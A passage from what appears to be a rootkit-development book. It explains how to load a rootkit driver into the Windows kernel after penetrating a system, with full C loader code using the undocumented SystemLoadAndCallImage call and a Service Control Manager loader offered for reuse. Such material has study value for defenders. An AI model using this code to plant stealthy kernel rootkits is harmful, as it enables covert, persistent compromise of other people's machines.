< Day Day Up > |
Inevitably, you will need to load the driver from a user-mode program. For example, if you penetrate a computer system, you will want to copy over a deployment program of some kind that, when run, loads the rootkit into the kernel. A loading program typically will decompress a copy of the .sys file to the hard drive, and then issue the commands to load it into the kernel. Of course, for any of this to work, the program must be running as "administrator."[7]
There are many ways to load a driver into the kernel. We cover two methods one we call "quick and dirty," and another we call "The Right Way." Either method will work, but read on to learn the details. The Quick-and-Dirty Way to Load a DriverUsing an undocumented API call, you can load a driver into the kernel without having to create any registry keys. The problem with this approach is that the driver will be pageable. "Pageable" refers to memory that can be swapped to disk. If a driver is pageable, any part of the driver could be paged out (that is, swapped from memory to disk). Sometimes when memory is paged out, it cannot be accessed; an attempt to do so will result in the infamous Blue Screen of Death (a system crash). The only time when this loading method is really safe is when it's specifically designed around the paging problem. An example of a good rootkit that uses this loading method is migbot, which is available at rootkit.com. The migbot rootkit is very simple, and copies all of the operational code into a non-paged memory pool, so the fact that the driver is paged does not affect anything migbot does. Rootkit.com You can download the source code for migbot from www.rootkit.com/vault/hoglund/migbot.zip The loading method is typically referred to as SYSTEM LOAD AND CALL IMAGE because this is the name given to the undocumented API call. Here is the loading code from migbotloader: //---------------------------------------------------------------- // load a sys file as a driver using undocumented method //---------------------------------------------------------------- bool load_sysfile() { SYSTEM_LOAD_AND_CALL_IMAGE GregsImage; WCHAR daPath[] = L"\\??\\C:\\MIGBOT.SYS"; ////////////////////////////////////////////////////////////// // get DLL entry points ////////////////////////////////////////////////////////////// if(!(RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress( GetModuleHandle("ntdll.dll") ,"RtlInitUnicodeString" ))) { return false; } if(!(ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll") ,"ZwSetSystemInformation" ))) { return false; } RtlInitUnicodeString(&(GregsImage.ModuleName), daPath); if(!NT_SUCCESS( ZwSetSystemInformation(SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)))) { return false; } return true; } This code is run from user mode, and expects the .sys file to be C:\migbot.sys. Migbot does not offer an unload feature; once it is loaded, it cannot be unloaded until reboot. Think of this as a "fire-and-forget" operation. The advantage to using this method is that it can be stealthier than more-established protocols. The downside is that it complicates the rootkit design. For migbot, this is a good solution; but for complex rootkits with many hooks, this method would require supporting too much overhead. The Right Way to Load a DriverThe established and correct way to load a driver is to use the Service Control Manager (SCM). Using the SCM causes registry keys to be created. When a driver is loaded using the SCM, it is non-pageable. This means your callback functions, IRP-handling functions, and other important code will not vanish from memory, be paged out, or cause Blue Screens of Death. This is a Good Thing. The following example code will load any driver by name, using the SCM method. It registers and then starts the driver. You can use this code in your own loader program if you choose. bool _util_load_sysfile(char *theDriverName) { char aPath[1024]; char aCurrentDirectory[515]; SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(!sh) { return false; } GetCurrentDirectory( 512, aCurrentDirectory); _snprintf(aPath, 1022, "%s\\%s.sys", aCurrentDirectory, theDriverName); printf("loading %s\n", aPath); SC_HANDLE rh = CreateService(sh, theDriverName, theDriverName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, aPath, NULL, NULL, NULL, NULL, NULL); if(!rh) { if (GetLastError() == ERROR_SERVICE_EXISTS) { // service exists rh = OpenService(sh, theDriverName, SERVICE_ALL_ACCESS); if(!rh) { CloseServiceHandle(sh); return false; } } else { CloseServiceHandle(sh); return false; } } // start the drivers if(rh) { if(0 == StartService(rh, 0, NULL)) { if(ERROR_SERVICE_ALREADY_RUNNING == GetLastError()) { // no real problem } else { CloseServiceHandle(sh); CloseServiceHandle(rh); return false; } } CloseServiceHandle(sh); CloseServiceHandle(rh); } return true; } You now have two methods for loading your driver or rootkit into kernel memory. All the power of the OS is now in your hands! In the next section, we will show you how to use a single file, once you have access to a system, to contain both the user portion and kernel portion of your rootkit. The reason to use only one file rather than two is that a single file creates a smaller footprint in the file system or when traversing the network. |
< Day Day Up > |